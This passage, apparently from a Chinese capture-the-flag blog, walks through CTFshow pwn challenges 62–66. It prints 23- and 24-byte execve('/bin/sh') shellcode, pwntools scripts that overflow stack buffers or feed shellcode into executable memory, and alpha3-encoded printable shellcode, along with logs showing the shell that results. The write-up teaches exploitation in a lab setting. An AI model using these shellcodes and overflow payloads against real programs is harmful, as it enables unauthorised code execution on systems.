class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s this : [%p] ?\n&quot;</span>, buf);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe it&#x27;s useful ! But how to use it?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x38u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>整体逻辑还是差不多，不同之处为变量名字换了（这个并不影响），还有不同的是最后读入换成了read函数，并且限制为0x38</p><p>buf分配的空间为0x10，而read的大小为0x38，明显存在溢出，因此我们仍能够使用read来进行栈溢出</p><p>偏移量还是为 <strong>0x10+8&#x3D;24</strong>。</p><p>计算允许的SHELLCODE长度【0x38 -（0x10+8）- 8 &#x3D; 24 】（0x10+8）为造成溢出填充的垃圾数据，后面8为是shellcode地址的长度。因此构建的shellcode必须在24位以内。</p><p>直接使用pwntools生成的继续打肯定是不行了，我们需要去寻找符合条件的shellcode，甚至可以自己尝试写更短的（这里随便给出一个符合题目要求的）：</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">24 bytes</span><br><span class="line">https://www.exploit-db.com/shellcodes/43550</span><br><span class="line">shellcode_x64 =</span><br><span class="line">&quot;\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x5</span><br><span class="line">2\x57\x54\x5e\x0f\x05&quot;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">https://www.exploit-db.com/shellcodes/46907</span><br><span class="line">global _start</span><br><span class="line">section .text</span><br><span class="line">_start:</span><br><span class="line">xor rsi,rsi</span><br><span class="line">push rsi</span><br><span class="line">mov rdi,0x68732f2f6e69622f</span><br><span class="line">push rdi</span><br><span class="line">push rsp</span><br><span class="line">pop rdi</span><br><span class="line">push 59</span><br><span class="line">pop rax</span><br><span class="line">cdq</span><br><span class="line">syscall</span><br><span class="line">================================</span><br><span class="line">Instruction for nasm compliation</span><br><span class="line">================================</span><br><span class="line"></span><br><span class="line">nasm -f elf64 shellcode.asm -o shellcode.o</span><br><span class="line">ld shellcode.o -o shellcode</span><br><span class="line"></span><br><span class="line">===================</span><br><span class="line">objdump disassembly</span><br><span class="line">===================</span><br><span class="line"></span><br><span class="line">Disassembly of section .text:</span><br><span class="line"></span><br><span class="line">0000000000401000 &lt;_start&gt;:</span><br><span class="line">  401000:48 31 f6             xor    %rsi,%rsi</span><br><span class="line">  401003:56                   push   %rsi</span><br><span class="line">  401004:48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi</span><br><span class="line">  40100b:2f 73 68 </span><br><span class="line">  40100e:57                   push   %rdi</span><br><span class="line">  40100f:54                   push   %rsp</span><br><span class="line">  401010:5f                   pop    %rdi</span><br><span class="line">  401011:6a 3b                pushq  $0x3b</span><br><span class="line">  401013:58                   pop    %rax</span><br><span class="line">  401014:99                   cltd   </span><br><span class="line">  401015:0f 05                syscall </span><br><span class="line"></span><br><span class="line">==================</span><br><span class="line">23 Bytes Shellcode</span><br><span class="line">==================</span><br><span class="line"></span><br><span class="line">\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05</span><br><span class="line"></span><br><span class="line">======================</span><br><span class="line">C Compilation And Test</span><br><span class="line">======================</span><br><span class="line"></span><br><span class="line">gcc -fno-stack-protector -z execstack shellcode.c -o shellcode</span><br><span class="line"></span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">#include &lt;stdio.h&gt;</span><br><span class="line"></span><br><span class="line">unsigned char shellcode[] = \</span><br><span class="line">&quot;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&quot;;</span><br><span class="line">int main()</span><br><span class="line">&#123;</span><br><span class="line">    int (*ret)() = (int(*)())shellcode;</span><br><span class="line">    ret();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>, <span class="number">28189</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=<span class="string">b&quot;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&quot;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;[&#x27;</span>)</span><br><span class="line">buf_addr = io.recvuntil(<span class="string">b&#x27;]&#x27;</span>, drop=<span class="literal">True</span>)</span><br><span class="line">buf_addr = <span class="built_in">int</span>(buf_addr, <span class="number">16</span>)</span><br><span class="line">payload=cyclic(<span class="number">0x10</span>+<span class="number">8</span>)+p64(buf_addr + <span class="number">32</span>)+shellcode</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>简单的增加了一个条件语句，根据参数中是否存在 ‘REMOTE’ 键的值，选择是通过远程连接还是本地进程来运行程序。这样的设计可以根据需要动态选择程序的运行方式，方便在不同环境下进行调试和测试。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 62</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"> ?</span><br><span class="line">Maybe it<span class="string">&#x27;s useful ! But how to use it?</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag</span></span><br></pre></td></tr></table></figure><h2 id="pwn63"><a href="#pwn63" class="headerlink" title="pwn63"></a>pwn63</h2><p>Hint：又短了一点</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX unknown - GNU_STACK missing</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stack:      Executable</span><br><span class="line">    RWX:        Has RWX segments</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>和上一题一样，IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  FILE *__bss_start; <span class="comment">// rdi</span></span><br><span class="line">  _QWORD buf[<span class="number">2</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  buf[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  buf[<span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">  __bss_start = _bss_start;</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>);</span><br><span class="line">  logo(__bss_start, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome to CTFshow!&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;What&#x27;s this : [%p] ?\n&quot;</span>, buf);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Maybe it&#x27;s useful ! But how to use it?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x37u</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">只剩23位了，还可以用上一道</span><br><span class="line">或者</span><br><span class="line"># 23 bytes</span><br><span class="line"># https://www.exploit-db.com/exploits/36858/</span><br><span class="line">shellcode_x64=b&quot;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&quot;</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>, <span class="number">28114</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=<span class="string">b&quot;\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05&quot;</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;[&#x27;</span>)</span><br><span class="line">buf_addr=io.recvuntil(<span class="string">b&#x27;]&#x27;</span>,drop=<span class="literal">True</span>)</span><br><span class="line">buf_addr=<span class="built_in">int</span>(buf_addr,<span class="number">16</span>)</span><br><span class="line">payload=cyclic(<span class="number">0x10</span>+<span class="number">8</span>)+p64(buf_addr+<span class="number">32</span>)+shellcode</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 80</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"> ?</span><br><span class="line">Maybe it<span class="string">&#x27;s useful ! But how to use it?</span></span><br><span class="line"><span class="string">$ ls</span></span><br><span class="line"><span class="string">ctfshow_flag</span></span><br></pre></td></tr></table></figure><h2 id="pwn64"><a href="#pwn64" class="headerlink" title="pwn64"></a>pwn64</h2><p>Hint：有时候开启某种保护并不代表这条路不通</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序，开启了NX，部分开启RELRO</p><p>按照题目描述，这里开启了NX，应该是不能执行shellcode了的</p><p>我们接着IDA查看一下main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *buf; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line"></span><br><span class="line">  buf = mmap(<span class="number">0</span>, <span class="number">0x400u</span>, <span class="number">7</span>, <span class="number">34</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  alarm(<span class="number">0xAu</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Some different!&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( read(<span class="number">0</span>, buf, <span class="number">0x400u</span>) &lt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Illegal entry!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  ((<span class="type">void</span> (*)(<span class="type">void</span>))buf)();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>buf &#x3D; mmap(0, 0x400u, 7, 34, 0, 0); ：这行代码使用 mmap 函数分配一块内存区域，将其起始地址保存在变量 buf 中。 mmap 函数通常用于在内存中分配一块连续的地址空间，并指定相应的权限和属性。</p><p>这里buf用mmap映射了地址，可读可写可执行，直接传入shellcode，下面 ((void (*)(void))buf)();</p><p>调用了buf，运行shellcode 即可获取shell。</p><p>所以说有时候需要具体情况具体分析，东西并不是一成不变的。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>, <span class="number">28114</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 109</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">Some different!</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn65"><a href="#pwn65" class="headerlink" title="pwn65"></a>pwn65</h2><p>Hint：你是一个好人</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX unknown - GNU_STACK missing</span><br><span class="line">  PIE:        PIE enabled</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  RWX:        Has RWX segments</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位程序，开启PIE与完全开启RELRO 有RWX: Has RWX segments </p><p>IDA查看main函数（无法反编译，看汇编代码）：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000001155 buf             = byte ptr -410h </span><br><span class="line">#buf=0x410</span><br><span class="line"></span><br><span class="line">.text:0000000000001182                 mov     edx, 400h       ; nbytes</span><br><span class="line">.text:0000000000001187                 mov     rsi, rax        ; buf</span><br><span class="line">.text:000000000000118A                 mov     edi, 0          ; fd</span><br><span class="line">.text:000000000000118F                 mov     eax, 0</span><br><span class="line">.text:0000000000001194                 call    _read</span><br><span class="line">#read(0,buf,0x400)</span><br><span class="line"></span><br><span class="line">.text:0000000000001199    mov     [rbp+var_8], eax  ; 把 eax 的值存到栈变量 var_8 中</span><br><span class="line">.text:000000000000119C    cmp     [rbp+var_8], 0    ; 比较 var_8 和 0</span><br><span class="line">.text:00000000000011A0    jg      short loc_11AC    ; 如果 var_8 &gt; 0，则跳转到 loc_11AC（判断输入长度）</span><br><span class="line">.text:00000000000011A2    mov     eax, 0            ; 否则（var_8 ≤ 0），将 eax 设为 0</span><br><span class="line">.text:00000000000011A7    jmp     locret_1254       ; 无论如何，最终跳转到 locret_1254</span><br></pre></td></tr></table></figure><p>要让程序继续执行下去，得跳转到loc_11AC：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000011AC loc_11AC:                               ; CODE XREF: main+4B↑j</span><br><span class="line">.text:00000000000011AC                 mov     [rbp+var_4], 0</span><br><span class="line">.text:00000000000011B3                 jmp     loc_123A</span><br><span class="line">#将栈上的变量 var_4（位于 rbp - 4 处，4 字节大小）赋值为 0,无条件跳转到 loc_123A </span><br></pre></td></tr></table></figure><p>loc_123A：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:000000000000123A loc_123A:                               ; CODE XREF: main+5E↑j</span><br><span class="line">.text:000000000000123A                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:000000000000123D                 cmp     eax, [rbp+var_8]</span><br><span class="line">.text:0000000000001240                 jl      loc_11B8</span><br><span class="line">.text:0000000000001246                 lea     rax, [rbp+buf]</span><br><span class="line">.text:000000000000124D                 call    rax</span><br><span class="line">.text:000000000000124F                 mov     eax, 0</span><br><span class="line">#如果 var_4 &lt; var_8[即0&lt;输入字符串长度]（jl = jump if less than），则跳转到 loc_11B8 标签处,否则获取 buf 的地址 → 调用 buf 中的内容 → 设置返回值 0【字符串地址去执行，可以写入shellcode】</span><br></pre></td></tr></table></figure><p>loc_11B8【用于验证缓冲区中的字符是否在 <strong>小写字母 <code>a-z</code> 范围内</strong>】:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000011B8 loc_11B8:                               ; CODE XREF: main+EB↓j</span><br><span class="line">.text:00000000000011B8                 mov     eax, [rbp+var_4]</span><br><span class="line">#将 var_4 的值（通常是索引计数器）加载到 eax【作为缓冲区 buf 的索引，用于遍历字符】</span><br><span class="line">.text:00000000000011BB                 cdqe</span><br><span class="line">#将eax（32位）符号扩展为 rax（64位）【因为后续需要用rax作为内存偏移，确保负数索引正确转换】</span><br><span class="line">.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">#从 buf[var_4] 位置读取一个字节（就是读取第 var_4 个字符），并零扩展到 eax【rbp + buf 是缓冲区基址，+ rax 是偏移量（即 var_4）】</span><br><span class="line">.text:00000000000011C5                 cmp     al, 60h ; &#x27;`&#x27;</span><br><span class="line">.text:00000000000011C7                 jle     short loc_11DA</span><br><span class="line">#检查字符是否 ≤ 60h（即反引号 `）若是，则跳转到 loc_11DA（处理非法字符）。</span><br><span class="line">.text:00000000000011C9                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:00000000000011CC                 cdqe</span><br><span class="line">.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">.text:00000000000011D6                 cmp     al, 7Ah ; &#x27;z&#x27;</span><br><span class="line">.text:00000000000011D8                 jle     short loc_1236</span><br><span class="line">#检查字符是否 ≤ 7Ah（即小写字母 z）。若是（字符在 a-z 范围内），跳转到 loc_1236（处理合法字符）。</span><br></pre></td></tr></table></figure><p>loc_11DA【检查字符是否属于 <strong>大写字母 <code>A-Z</code> 范围</strong>】：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000011DA loc_11DA:                               ; CODE XREF: main+72↑j</span><br><span class="line">.text:00000000000011DA                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:00000000000011DD                 cdqe</span><br><span class="line">.text:00000000000011DF                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">.text:00000000000011E7                 cmp     al, 40h ; &#x27;@&#x27;</span><br><span class="line">.text:00000000000011E9                 jle     short loc_11FC</span><br><span class="line">.text:00000000000011EB                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:00000000000011EE                 cdqe</span><br><span class="line">.text:00000000000011F0                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">.text:00000000000011F8                 cmp     al, 5Ah ; &#x27;Z&#x27;</span><br><span class="line">.text:00000000000011FA                 jle     short loc_1236</span><br></pre></td></tr></table></figure><p>loc_11FC【检查字符是否属于<strong>数字 <code>0-9</code> 或特殊符号 <code>+-/\*</code> 等</strong>】：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:00000000000011FC loc_11FC:                               ; CODE XREF: main+94↑j</span><br><span class="line">.text:00000000000011FC                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:00000000000011FF                 cdqe</span><br><span class="line">.text:0000000000001201                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">.text:0000000000001209                 cmp     al, 2Fh ; &#x27;/&#x27;</span><br><span class="line">.text:000000000000120B                 jle     short loc_121E</span><br><span class="line">.text:000000000000120D                 mov     eax, [rbp+var_4]</span><br><span class="line">.text:0000000000001210                 cdqe</span><br><span class="line">.text:0000000000001212                 movzx   eax, [rbp+rax+buf]</span><br><span class="line">.text:000000000000121A                 cmp     al, 5Ah ; &#x27;Z&#x27;</span><br><span class="line">.text:000000000000121C                 jle     short loc_1236</span><br><span class="line">#如果小于等于 0x2F，跳到 loc_121E</span><br><span class="line">#如果小于等于 0x5A，还是跳到 loc_1236</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:000000000000121E loc_121E:                               ; CODE XREF: main+B6↑j</span><br><span class="line">.text:000000000000121E                 lea     rdi, format     ; &quot;Good,but not right&quot;</span><br><span class="line">.text:0000000000001225                 mov     eax, 0</span><br><span class="line">.text:000000000000122A                 call    _printf</span><br><span class="line">.text:000000000000122F                 mov     eax, 0</span><br><span class="line">.text:0000000000001234                 jmp     short locret_1254</span><br><span class="line">.text:0000000000001236 ; ---------------------------------------------------------------------------</span><br><span class="line">.text:0000000000001236</span><br><span class="line">.text:0000000000001236 loc_1236:                               ; CODE XREF: main+83↑j</span><br><span class="line">.text:0000000000001236                                         ; main+A5↑j ...</span><br><span class="line">.text:0000000000001236                 add     [rbp+var_4], 1</span><br><span class="line">.text:000000000000123A</span><br><span class="line"></span><br><span class="line">.text:0000000000001254</span><br><span class="line">.text:0000000000001254 locret_1254:                            ; CODE XREF: main+52↑j</span><br><span class="line">.text:0000000000001254                                         ; main+DF↑j</span><br><span class="line">.text:0000000000001254                 leave</span><br><span class="line">.text:0000000000001255                 retn</span><br><span class="line">.text:0000000000001255 ; &#125; // starts at 1155</span><br><span class="line">.text:0000000000001255 main            endp</span><br></pre></td></tr></table></figure><p>总结：输入的字符大致限定在了(60,74)||(2f,5a)两个范围里，都是可打印字符，但是我们的 shellcode 实际上是会包含一些不可打印字符的。string.printable，就是可见字符shellcode。因此这里需要借助到一个工具：alpha3【<code>git clone https://github.com/TaQini/alpha3.git</code>】</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">sudo</span> nano exp.py</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.arch=<span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">shellcode = asm(shellcraft.sh())</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;shellcode&#x27;</span>, <span class="string">&#x27;bw&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">f.write(shellcode)</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br></pre></td></tr></table></figure><p>当前目录下会生成一个名为 <code>shellcode</code> 的二进制文件</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ xxd shellcode  <span class="comment"># 以十六进制形式查看</span></span><br><span class="line">00000000: 6a68 48b8 2f62 696e 2f2f 2f73 5048 89e7  jhH./bin///sPH..</span><br><span class="line">00000010: 6872 6901 0181 3424 0101 0101 31f6 566a  hri...4$....1.Vj</span><br><span class="line">00000020: 085e 4801 e656 4889 e631 d26a 3b58 0f05  .^H..VH..1.j;X..</span><br><span class="line">$ <span class="built_in">cat</span> shellcode</span><br><span class="line">jhH¸/bin///sPH槲i4$^H啈䲒j;X</span><br></pre></td></tr></table></figure><p>使用pwntools生成一个shellcode，没法直接输出，有乱码，将shellcode重定向到一个文件中 切换到alpha3目录中，使用alpha3生成string.printable</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">cd</span> alpha3</span><br><span class="line">root@pwn_challenge:/CTFshow_pwn/alpha3$ python2 ./ALPHA3.py x64 ascii mixedcase rax --input=<span class="string">&quot;shellcode&quot;</span></span><br><span class="line">Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t</span><br></pre></td></tr></table></figure><p><code>python3不行，得用Python2【24.04已经没有Python2了，用20.04的】</code></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=<span class="string">b&quot;Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t&quot;</span></span><br><span class="line">io.sendafter(<span class="string">b&#x27;Input you Shellcode\n&#x27;</span>,shellcode) <span class="comment">#sendline会使用到换行符，这个也是不可打印字符，要使用send</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 239</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn66"><a href="#pwn66" class="headerlink" title="pwn66"></a>pwn66</h2><p><code>原题来自：starctf_2019_babyshell</code></p><p>Hint：简单的shellcode？不对劲，十分得有十二分的不对劲</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x400000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位关闭栈保护与PIE</p><p>从运行的程序的hint以及题目描述中我们能看到与shellcode有关，但是是有限制的shellcode</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *buf; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  logo();</span><br><span class="line">  buf = mmap(<span class="number">0</span>, <span class="number">0x1000u</span>, <span class="number">7</span>, <span class="number">34</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Your shellcode is :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x200u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !(<span class="type">unsigned</span> <span class="type">int</span>)check(buf) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot; ERROR !&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  ((<span class="type">void</span> (__fastcall *)(<span class="type">void</span> *))buf)(buf);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>buf存在溢出点，往buf里写入shellcode，然后程序会执行shellcode</p><p>但是有一个check函数，跟进查看：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">check</span><span class="params">(_BYTE *buf)</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE *i; <span class="comment">// [rsp+18h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> ( *buf )</span><br><span class="line">  &#123;</span><br><span class="line">    <span 